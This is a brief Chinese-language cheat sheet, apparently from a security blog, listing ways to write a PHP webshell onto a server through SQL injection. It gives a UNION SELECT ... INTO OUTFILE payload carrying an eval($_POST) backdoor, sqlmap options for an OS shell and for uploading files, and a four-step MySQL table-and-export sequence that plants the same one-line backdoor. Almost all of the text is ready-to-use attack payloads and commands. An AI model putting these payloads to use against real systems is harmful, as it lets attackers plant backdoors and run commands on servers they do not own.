SQL注入写WebShell方式小结
/这里小结一下通过SQL注入写入WebShell的方法。
0x01 传统的SQL语句写shell
通过SQL注入select into outfile实现,如:
1 | 1' union select 1,'<?php eval($_POST[a]);?>' INTO OUTFILE '/var/www/tmp/nb.php'# |
0x02 sqlmap写shell
前提都是需要对目标目录具有写权限。
–os-cmd=”net user”
交互式命令执行,注意在使用交互式方式时需要知道网站的绝对路径,执行成功之后在绝对路径下创建文件返回结果,然后再自动删除。
–os-shell
写webshell,会生成两个文件,tmpbshrd.php和tmpucnll.php,分别为命令执行和文件上传webshell。
注意:关闭sqlmap文件就会被删除。
本地写入webshell
先在sqlmap的目录创建mst目录,然后在该目录中创建mst.txt,内容为一句话木马,之后需要两个参数即本地文件地址和目标文件地址,–file-write “./mst/mst.txt” –file-dest “网站的绝对路径/1.php”。
注意需要最高权限。
0x03 MySQL写一句话木马
MySQL写木马,通常可以通过phpmyadmin来实现。
前提条件:有读写的权限,有CREATE、INSERT、SELECT的权限。
1、创建一个表
1 | CREATE TABLE a (cmd text NOT NULL); |
2、插入数据
1 | INSERT INTO a (cmd) VALUES('<?php eval($_POST['password']);?>'); |
3、导出一句话
1 | SELECT cmd from a into outfile '/var/www/tmp/webshell.php'; |
4、删除表
1 | Drop TABLE IF EXISTS a; |
0x04 SQL语句利用日志写shell
看这篇文章:SQL语句利用日志写shell及相关绕过